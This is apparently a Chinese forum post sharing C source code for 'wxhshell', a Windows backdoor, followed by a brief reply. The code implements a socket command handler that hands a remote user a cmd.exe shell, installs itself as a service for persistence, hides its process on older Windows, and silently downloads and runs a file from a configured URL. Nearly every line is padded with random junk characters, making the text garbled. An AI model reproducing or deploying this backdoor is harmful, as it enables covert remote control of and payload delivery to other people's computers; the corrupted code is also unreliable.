  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?T$i  
  }  |}QDC/  
  else { I:]s/r7  
b&*^\hY9b  
    switch(cmd[0]) { A0oC*/  
  }dAb} 0XK.  
  // 帮助 CYEqH2"3  
  case '?': { 'iXjt MX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >LgV[D#=&o  
    break; H6/@loO!Xy  
  } 6.EfM^[  
  // 安装  >pv~$  
  case 'i': { j &,vju  
    if(Install()) gEO#-tMjOQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  3i?{E ^  
    else bNevHKS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4oT2 5VH  
    break; 2~2  
    } w{F8]N>0<  
  // 卸载 W5 fO1F  
  case 'r': { , y{o!w  
    if(Uninstall()) n2Dnpe:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \r324Bw>2  
    else ?j ?{} Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !g=,O6  
    break; f|Z3VS0x  
    } I?4J69'  
  // 显示 wxhshell 所在路径 JI3AR e?y  
  case 'p': { %Q1v8l.}  
    char svExeFile[MAX_PATH]; gO*cX&  
    strcpy(svExeFile,"\n\r"); 89`AF1  
      strcat(svExeFile,ExeFile); ^5 F-7R8Q  
        send(wsh,svExeFile,strlen(svExeFile),0); 8BE OE<  
    break; ]o6yU#zn~e  
    } u 6 la  
  // 重启 7Q 0 M3m  
  case 'b': { ,":"Op61  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Lt@4F   
    if(Boot(REBOOT)) ]v rpr%K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7#MBT-ih  
    else { "LaNXZ9  
    closesocket(wsh); U[U$1LSS  
    ExitThread(0); GQ2&D}zh  
    } $w[@L7'(  
    break; xfkG&&  
    } [53@'@26  
  // 关机 C(?>l.QGw  
  case 'd': { m?;)C~[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *vJ1~SRV  
    if(Boot(SHUTDOWN)) iBN,YPo~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mRj-$:}L  
    else { KOhy)h+ h  
    closesocket(wsh); -CtA\< 7I  
    ExitThread(0); |rW}s+Kcr  
    } P%' bSx1  
    break; B V+"uF  
    } R!*UU'se  
  // 获取shell M (b'4  
  case 's': { ,EcmMI^A  
    CmdShell(wsh); 7Ar4:iNvX  
    closesocket(wsh); 0z#+^  
    ExitThread(0); o[+1O  
    break; =c-j4xna>  
  } Haj`mc!<D0  
  // 退出 ppb]RN|)  
  case 'x': { <~"qz*_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {(D$ Xb  
    CloseIt(wsh); Tud[VS?99  
    break; wXuHD<<  
    } =<`9T_S 16  
  // 离开 mEz&:A  
  case 'q': { >AN`L`%2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Yi7`iC  
    closesocket(wsh);  B*Hp  
    WSACleanup(); pA(@gisg  
    exit(1); D?@330'P9C  
    break; 0x[vB5R  
        } zhHQJcQ.  
  } g@MTKqs  
  } %pL ,A5M  
^q FFF3<8  
  // 提示信息 kn+`2-0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VH#]67  
} f]T#q@|lE  
  } }`f%"Z  
g3LAi#m  
  return; #jA|04w  
} ],qG!,V  
W zy8  
// shell模块句柄 *ubLuC+b  
int CmdShell(SOCKET sock) ofcoNLX5c  
{ +;:i,`Lmg  
STARTUPINFO si; 7S2Bm]fP  
ZeroMemory(&si,sizeof(si)); d?b2jZ$r]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p8Lb*7W  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g B+cU  
PROCESS_INFORMATION ProcessInfo; :V}8a!3h  
char cmdline[]="cmd"; sw{EV0&>m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c!{.BgGN  
  return 0; >9<h?F%S  
} \&@Tq-o  
[rqq*_eB  
// 自身启动模式 .Pxb9mW  
int StartFromService(void) (V{bfDu&h@  
{ 1swh7  
typedef struct 1ww|km  
{ A){kitx-i)  
  DWORD ExitStatus; dE/Vl/:  
  DWORD PebBaseAddress; Mgcq'{[~Y=  
  DWORD AffinityMask; J>!p^|S{  
  DWORD BasePriority; 5xTm]  
  ULONG UniqueProcessId; &>L\unS  
  ULONG InheritedFromUniqueProcessId; !*C^gIQGU  
}   PROCESS_BASIC_INFORMATION; >hB]T%'  
P1Re7/  
PROCNTQSIP NtQueryInformationProcess; rIW`(IG_  
84)S0Y8w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cO)GiWE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HmbTV(lC  
&rcr])jg[  
  HANDLE             hProcess; <adu^5BI  
  PROCESS_BASIC_INFORMATION pbi; o=;.RYi  
Fypqf|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -uy}]s5Qu  
  if(NULL == hInst ) return 0; MT%ky  
AWD &K!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >=C)\Yfu)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2/B(T5PY@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )z7. S"U  
oUltr  
  if (!NtQueryInformationProcess) return 0; 0e:KiUr  
V %Y.N4H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7-W(gD!`  
  if(!hProcess) return 0; e!eWwC9u  
Lm-}W "7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X=${`n%LG  
1;.}u= 8  
  CloseHandle(hProcess); /~g M,*  
iO<O2A.F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Qbt fKn95  
if(hProcess==NULL) return 0; D!qtb6<.  
05|t  
HMODULE hMod; ``aoLQc`  
char procName[255]; Y<a/(`  
unsigned long cbNeeded; FCqs'  
' nf"u  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gj6"U {D  
}Z0)FU +  
  CloseHandle(hProcess); `n5RDz/f0  
dn%/SJC  
if(strstr(procName,"services")) return 1; // 以服务启动 ~aA+L-s|  
Haq23K  
  return 0; // 注册表启动 _IT,>#ba  
} oY+RG|j@  
 2HQHC]  
// 主模块 RR`?o\  
int StartWxhshell(LPSTR lpCmdLine) nU`vj`K   
{ \Cx3^ i X  
  SOCKET wsl; f4@Dn >BJ  
BOOL val=TRUE; t@4X(i0  
  int port=0; #BT= K  
  struct sockaddr_in door; P 3lN ns3  
2eyvY|:Q>  
  if(wscfg.ws_autoins) Install(); ]6=cSs!  
:V+t|@m5l  
port=atoi(lpCmdLine); c{FvMV2em  
,aawtdt/  
if(port<=0) port=wscfg.ws_port; 1<bSHn9  
J0o U5d=3  
  WSADATA data; 3b%y+?-{\u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $JX_e  
"* 'rzd  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H(?z?2b p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '-W p|A  
  door.sin_family = AF_INET; gK#a C [  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $t}L|"=8X  
  door.sin_port = htons(port); NbkWy  
8MW|CM4Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ] +Gi~  
closesocket(wsl); G V0q?  
return 1; J fsCkS  
} ,:=E+sS  
(">!vz  
  if(listen(wsl,2) == INVALID_SOCKET) { y}#bCRy~.A  
closesocket(wsl); nNBxT+3*i  
return 1; 7p u*/W~  
} I"<~!krt%  
  Wxhshell(wsl); i3(bg,  
  WSACleanup(); K})j5CJ/  
3y 0`G8P'h  
return 0; -R6z/P (}  
Mc76)  
} S1`+r0Fk~n  
W&+UF'F2  
// 以NT服务方式启动 yDy3;*lE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~^Vt)/}Q  
{ EkXns%][L  
DWORD   status = 0; yVh]hL#4+w  
  DWORD   specificError = 0xfffffff; WdIr 3  
=( Gv_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; RJBNY;0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m0=CD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LX*T<|c`'  
  serviceStatus.dwWin32ExitCode     = 0; M%9PVePOe  
  serviceStatus.dwServiceSpecificExitCode = 0; W P.6ea7k  
  serviceStatus.dwCheckPoint       = 0; '%K,A-7W  
  serviceStatus.dwWaitHint       = 0; }>)"!p;t_  
3n6_yK+D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =;@5Ue J  
  if (hServiceStatusHandle==0) return;  299; N  
c#CX~  
status = GetLastError(); !7 *X{D v  
  if (status!=NO_ERROR) qx`*]lX  
{ =A=er1~%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WOgbz&S?J  
    serviceStatus.dwCheckPoint       = 0; 6S`eN\s  
    serviceStatus.dwWaitHint       = 0; 7CwG(c/5  
    serviceStatus.dwWin32ExitCode     = status; N],A&}30  
    serviceStatus.dwServiceSpecificExitCode = specificError; (Ptv#LSUX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,ci tzh  
    return; Ce`{M&NSWX  
  } $i~DUT(  
=b9?r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i~l0XjQbs  
  serviceStatus.dwCheckPoint       = 0; WW==  
  serviceStatus.dwWaitHint       = 0; LD^V="d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jF-z?  
} t ;y>q  
q] ,&$d^@  
// 处理NT服务事件,比如:启动、停止 SjG=H%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tr/S*0$  
{ 2eb :(D7Cq  
switch(fdwControl)  h}+,]^  
{ $WTu7lVV[1  
case SERVICE_CONTROL_STOP: 7{<t]wQq  
  serviceStatus.dwWin32ExitCode = 0; p~=%CG^5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $K;4=zN>t:  
  serviceStatus.dwCheckPoint   = 0; f9OVylm  
  serviceStatus.dwWaitHint     = 0; c67O/ B(  
  { R2u[IVZW:-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qj/ 66ak  
  } ^HC! my  
  return; 8+gSn  
case SERVICE_CONTROL_PAUSE: mL3'/3-7:V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n6ud;jN|  
  break; O^sgUT1O  
case SERVICE_CONTROL_CONTINUE: N}.h_~6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WY<ip<  
  break; % J+'7'g  
case SERVICE_CONTROL_INTERROGATE: Vs9fAAXS4  
  break; Q"QrbU  
}; S}*#$naK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nLo:\I(  
} KX`MX5?x  
^#g GA_H  
// 标准应用程序主函数 \N/T^,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =B;rj  
{ KDHR} `  
d{9jd{ _#G  
// 获取操作系统版本 qK(? \ t$  
OsIsNt=GetOsVer(); Yxi.A$g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C7)].vUN  
yK[ ~(!c5  
  // 从命令行安装 U .e Urzu  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]lm9D@HMC  
@bD,^3U  
  // 下载执行文件 ){8^l0b  
if(wscfg.ws_downexe) { p/SJt0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5r`g6@  
  WinExec(wscfg.ws_filenam,SW_HIDE); {^$rmwN  
} .,tf[w 71  
9)mJo(  
if(!OsIsNt) { (QqKttL:  
// 如果时win9x,隐藏进程并且设置为注册表启动 bYow EzieF  
HideProc(); t'R&$;z@b  
StartWxhshell(lpCmdLine); O% 9~1_  
} %Ix^Xb0  
else b"{7f   
  if(StartFromService()) -C.eXR{s  
  // 以服务方式启动 l_QpPo!a  
  StartServiceCtrlDispatcher(DispatchTable); /z5j.TMs  
else lD 9'^J  
  // 普通方式启动 `[CXxp  
  StartWxhshell(lpCmdLine); IvH0sS`F  
IsnC_"f  
return 0; zXp{9P\c  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五